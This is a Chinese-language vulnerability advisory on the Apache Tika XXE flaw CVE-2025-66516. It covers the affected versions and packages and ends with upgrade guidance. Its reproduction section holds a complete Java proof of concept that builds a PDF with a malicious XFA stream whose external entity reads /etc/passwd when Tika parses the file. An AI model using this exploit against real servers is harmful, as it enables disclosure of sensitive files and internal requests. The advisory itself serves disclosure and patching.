文章总结: ApacheTika1.13至3.2.1版本存在严重的XXE漏洞CVE-2025-66516,该漏洞位于tika-parser-pdf-module中。攻击者可通过构造包含恶意XFA文件的PDF,触发XML外部实体注入,从而读取服务器敏感文件或发起内部网络请求。漏洞影响多个Tika软件包,包括tika-app和tika-server-standard。建议用户立即将ApacheTika升级至3.2.2或更高版本以修复此问题。
综合评分: 98
文章分类: 漏洞预警,漏洞分析,漏洞POC,WEB安全,应用安全
【漏洞预警】Apache Tika XXE漏洞来袭(CVE-2025-66516)
PokerSec
PokerSec
2025年12月12日 18:00
北京
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞介绍
Apache Tika 1.13 至 3.2.1 版本(包括 3.2.1 版本)在所有平台上存在严重的 XXE 漏洞(tika-parser-pdf-module),攻击者可利用此漏洞在 PDF 文件中嵌入精心构造的 XFA 文件,从而实施 XML 外部实体注入。攻击者可能能够读取敏感数据,或触发对内部资源或第三方服务器的恶意请求。请注意,tika-parser-pdf-module 是多个 Tika 软件包的依赖项,至少包括:tika-parsers-standard-modules、tika-parsers-standard-package、tika-app、tika-grpc 和 tika-server-standard。
影响范围
Apache Tika 1.13 至 3.2.1 版本(包括 3.2.1 版本)
tika-parser-pdf-module 是多个 Tika 软件包的依赖项,至少包括:tika-parsers-standard-modules、tika-parsers-standard-package、tika-app、tika-grpc 和 tika-server-standard
漏洞复现
POC:
(这微信页面直接复制代码格式会乱,可以浏览器打开复制)
pom.xml
<dependencies>
<!-- Tika 核心 -->
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.1</version>
</dependency>
<!-- Tika 解析器包(包含 PDF 解析器) -->
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-parsers-standard-package</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
生成一个饱含恶意的pdf
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
import org.apache.pdfbox.cos.COSDictionary;
import org.apache.pdfbox.cos.COSStream;
import org.apache.pdfbox.cos.COSName;
import java.io.IOException;
import java.io.OutputStream;
public class PocPDF {
public static void main(String[] args) throws IOException {
PDDocument doc = new PDDocument();
PDPage page = new PDPage();
doc.addPage(page);
// 创建 AcroForm
PDAcroForm acroForm = new PDAcroForm(doc);
acroForm.setNeedAppearances(true); // 更真实的表单
doc.getDocumentCatalog().setAcroForm(acroForm);
// 恶意 XFA with XXE (使用 dnslog 或本地 server)
String xfaXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE xdp:xdp [\n" +
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]>\n" +
"<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\" xml:lang=\"en\">\n" +
"<config xmlns=\"http://www.xfa.org/schema/xci/3.1/\">\n" +
" <present><pdf><version>1.7</version></pdf></present>\n" +
"</config>\n" +
"<template xmlns=\"http://www.xfa.org/schema/xfa-template/3.3/\">\n" +
" <subform name=\"form1\" layout=\"tb\">\n" +
" <pageSet><pageArea><contentArea/><medium stock=\"letter\"/></pageArea></pageSet>\n" +
" <subform>\n" +
" <field name=\"data\"><ui><textEdit/></ui><value><text>&xxe;</text></value></field>\n" +
" </subform>\n" +
" </subform>\n" +
"</template>\n" +
"<xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">\n" +
" <xfa:data><form1><data>&xxe;</data></form1></xfa:data>\n" +
"</xfa:datasets>\n" +
"</xdp:xdp>";
// 写入 COSStream
COSStream xfaStream = doc.getDocument().createCOSStream();
try (OutputStream os = xfaStream.createOutputStream()) {
os.write(xfaXml.getBytes("UTF-8")); // 显式指定编码
}
// 注入 /XFA
COSDictionary acroFormDict = acroForm.getCOSObject();
acroFormDict.setItem(COSName.XFA, xfaStream);
// 保存
String filename = "1.pdf";
doc.save(filename);
doc.close();
}
}
测试
Tika tika = new Tika();
String txt = tika.parseToString(new File("1.pdf"));
System.out.println(txt);
修复意见
将 Apache Tika 升级到 3.2.2 或更高版本:https://tika.apache.org/download.html
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
来源
https://lists.apache.org/thread/8xn3rqy6kz5b3l1t83kcofkw0w4mmj1w
https://tika.apache.org/security.html
https://xz.aliyun.com/news/90792
https://github.com/chasingimpact/CVE-2025-66516-Writeup-POC
如有侵权,请及时联系删除。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:PokerSec PokerSec《【漏洞预警】Apache Tika XXE漏洞来袭(CVE-2025-66516)》